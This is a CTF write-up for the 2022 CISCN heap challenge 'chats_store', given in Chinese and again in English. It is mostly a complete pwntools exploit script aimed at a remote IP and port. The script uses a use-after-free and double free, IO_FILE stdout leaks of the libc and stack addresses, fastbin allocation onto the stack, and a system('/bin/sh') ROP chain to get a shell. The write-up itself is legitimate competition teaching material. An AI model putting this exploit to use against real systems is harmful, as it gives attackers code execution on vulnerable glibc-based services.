chats_store
题目
https://gitee.com/csomebro/ctftask/blob/master/2022-06_CISCN/pwn.zip
解题思路
堆题,libc 版本为 2.23 没有 tcache,观察 free 逻辑发现存在 uaf 和 doublefree,由于没有 edit 和 show 故使用 IO_FILE Attack 泄露 libc 基址。

泄露成功后就是常规的 fastbin attack 打__malloc_hook,但是经过测试,one_gadget 一个都打不通,所以,不能采用 ogg 的方法。想到 rop 方法,构造 system (“/bin/sh”),需要泄露栈地址故再次利用 IO_FILE 泄露 environ 中存的栈地址,之后构造偏移量将 fastbin 分配到栈上,最后写入 ROP 实现 getshell
EXP
from pwn import *import time
# getIO = lambda: process(['./ld-2.23.so', './chats_store'], env={'LD_PRELOAD':'./libc-2.23.so'})getIO = lambda: remote('43.138.52.3', 59000)context.log_level='debug'io = getIO()
def add(idx, size, content): io.sendlineafter('> ', '1') tmp = str(idx) tmp += (8 - len(tmp)) * '\x00' io.sendafter('chats No. > ', tmp) io.sendlineafter('size> ', str(size)) io.sendafter('chats> ', content) # time.sleep(0.5)
def free(idx): io.sendlineafter('> ', '2') io.sendlineafter('chats No. > ', str(idx))
while 1: add(0, 0x28, 'aaaa') add(1, 0x68, 'aaaa') add(11, 0x68, 'aaaaa') add(12, 0x28, 'aaa') free(0) add(0, 0x28, 'a'*0x28+'\xe1') free(1) add(0, 0x68, '\xdd\x15')
add(20, 0x68, 'aaaa') # b add(21, 0x68, 'aaaa') # a add(22, 0x28, 'aaaa') free(21) free(20) free(21)
add(21, 0x68, '\x30') add(22, 0x68, 'aaaa') add(23, 0x68, 'aaaa') add(24, 0x68, 'aaaa') flag = 0xfbad1800 try: add(25, 0x68, '\x00'*0x33 + p64(flag) + p64(0)*3 +'\x48') inp = io.recv(200, timeout=2) log.success('inp:'+inp) break _IO_2_stdout_ = u64(inp) log.success('_IO_2_stdout_:'+hex(_IO_2_stdout_)) break except: io.close() io = getIO()
inp = io.recvuntil('\x7f').ljust(8, '\x00')_IO_2_stdout_ = u64(inp)log.success('_IO_2_stdout_:'+hex(_IO_2_stdout_))libc_base = _IO_2_stdout_ - 0x3c56a3log.success('libc_base:'+hex(libc_base))
stdout_addr = libc_base + 0x3c55ddenviron = libc_base + 0x003C6F38add(20, 0x68, 'aaaa') # badd(21, 0x68, 'aaaa') # aadd(22, 0x28, 'aaaa')free(21)free(20)free(21)add(21, 0x68, p64(stdout_addr))add(22, 0x68, 'aaaa')add(23, 0x68, 'aaaa')add(24, 0x68, '\x00'*0x33 + p64(flag) + p64(0)*3 +p64(environ) + p64(environ+0x10)*2)stack_addr = u64(io.recv(8))log.success('stack_addr:'+hex(stack_addr))
# add(32, 0x68, 'aaaa')
target = stack_addr - 0x163 - 8add(20, 0x68, 'aaaa') # badd(21, 0x68, 'aaaa') # aadd(22, 0x28, 'aaaa')free(21)free(20)free(21)add(21, 0x68, p64(target))add(22, 0x68, 'aaaa')add(23, 0x68, 'aaaa')
libc = ELF('./libc-2.23.so')pop_rdi = 0x0000000000021112 + libc_basesys_addr = libc.sym['system'] + libc_basebinsh = 0x0018CE57 + libc_base
ropp = p64(pop_rdi) + p64(binsh) + p64(sys_addr)
# gdb.attach(io)
add(24, 0x68, 'a' * 0x43 + ropp)
# add(20, 0x68, 'aaaa') # b# add(21, 0x68, 'aaaa') # a# add(22, 0x28, 'aaaa')# free(21)# free(20)# free(21)# add(21, 0x68, p64(stdout_addr))# add(22, 0x68, 'aaaa')# add(23, 0x68, 'aaaa')# add(24, 0x68, '\x00'*0x33 + p64(flag) + p64(0)*3 +p64(target) + p64(target+0x100)*2)
io.interactive()getFlag

Translate by Kimi-K3
chats_store
Challenge
https://gitee.com/csomebro/ctftask/blob/master/2022-06_CISCN/pwn.zip
Solution
A heap challenge with libc 2.23, which has no tcache. Examining the free logic reveals a UAF and a double free. Since there is no edit or show function, we use an IO_FILE attack to leak the libc base address.

After the leak succeeds, it’s the usual fastbin attack against __malloc_hook. However, after testing, not a single one_gadget works, so we can’t take the one_gadget route. Instead, we go with ROP to construct system("/bin/sh"). This requires leaking a stack address, so we use IO_FILE again to leak the stack address stored in environ. Then we construct an offset to allocate a fastbin chunk on the stack, and finally write the ROP chain to get a shell.
EXP
from pwn import *import time
# getIO = lambda: process(['./ld-2.23.so', './chats_store'], env={'LD_PRELOAD':'./libc-2.23.so'})getIO = lambda: remote('43.138.52.3', 59000)context.log_level='debug'io = getIO()
def add(idx, size, content): io.sendlineafter('> ', '1') tmp = str(idx) tmp += (8 - len(tmp)) * '\x00' io.sendafter('chats No. > ', tmp) io.sendlineafter('size> ', str(size)) io.sendafter('chats> ', content) # time.sleep(0.5)
def free(idx): io.sendlineafter('> ', '2') io.sendlineafter('chats No. > ', str(idx))
while 1: add(0, 0x28, 'aaaa') add(1, 0x68, 'aaaa') add(11, 0x68, 'aaaaa') add(12, 0x28, 'aaa') free(0) add(0, 0x28, 'a'*0x28+'\xe1') free(1) add(0, 0x68, '\xdd\x15')
add(20, 0x68, 'aaaa') # b add(21, 0x68, 'aaaa') # a add(22, 0x28, 'aaaa') free(21) free(20) free(21)
add(21, 0x68, '\x30') add(22, 0x68, 'aaaa') add(23, 0x68, 'aaaa') add(24, 0x68, 'aaaa') flag = 0xfbad1800 try: add(25, 0x68, '\x00'*0x33 + p64(flag) + p64(0)*3 +'\x48') inp = io.recv(200, timeout=2) log.success('inp:'+inp) break _IO_2_stdout_ = u64(inp) log.success('_IO_2_stdout_:'+hex(_IO_2_stdout_)) break except: io.close() io = getIO()
inp = io.recvuntil('\x7f').ljust(8, '\x00')_IO_2_stdout_ = u64(inp)log.success('_IO_2_stdout_:'+hex(_IO_2_stdout_))libc_base = _IO_2_stdout_ - 0x3c56a3log.success('libc_base:'+hex(libc_base))
stdout_addr = libc_base + 0x3c55ddenviron = libc_base + 0x003C6F38add(20, 0x68, 'aaaa') # badd(21, 0x68, 'aaaa') # aadd(22, 0x28, 'aaaa')free(21)free(20)free(21)add(21, 0x68, p64(stdout_addr))add(22, 0x68, 'aaaa')add(23, 0x68, 'aaaa')add(24, 0x68, '\x00'*0x33 + p64(flag) + p64(0)*3 +p64(environ) + p64(environ+0x10)*2)stack_addr = u64(io.recv(8))log.success('stack_addr:'+hex(stack_addr))
# add(32, 0x68, 'aaaa')
target = stack_addr - 0x163 - 8add(20, 0x68, 'aaaa') # badd(21, 0x68, 'aaaa') # aadd(22, 0x28, 'aaaa')free(21)free(20)free(21)add(21, 0x68, p64(target))add(22, 0x68, 'aaaa')add(23, 0x68, 'aaaa')
libc = ELF('./libc-2.23.so')pop_rdi = 0x0000000000021112 + libc_basesys_addr = libc.sym['system'] + libc_basebinsh = 0x0018CE57 + libc_base
ropp = p64(pop_rdi) + p64(binsh) + p64(sys_addr)
# gdb.attach(io)
add(24, 0x68, 'a' * 0x43 + ropp)
# add(20, 0x68, 'aaaa') # b# add(21, 0x68, 'aaaa') # a# add(22, 0x28, 'aaaa')# free(21)# free(20)# free(21)# add(21, 0x68, p64(stdout_addr))# add(22, 0x68, 'aaaa')# add(23, 0x68, 'aaaa')# add(24, 0x68, '\x00'*0x33 + p64(flag) + p64(0)*3 +p64(target) + p64(target+0x100)*2)
io.interactive()getFlag
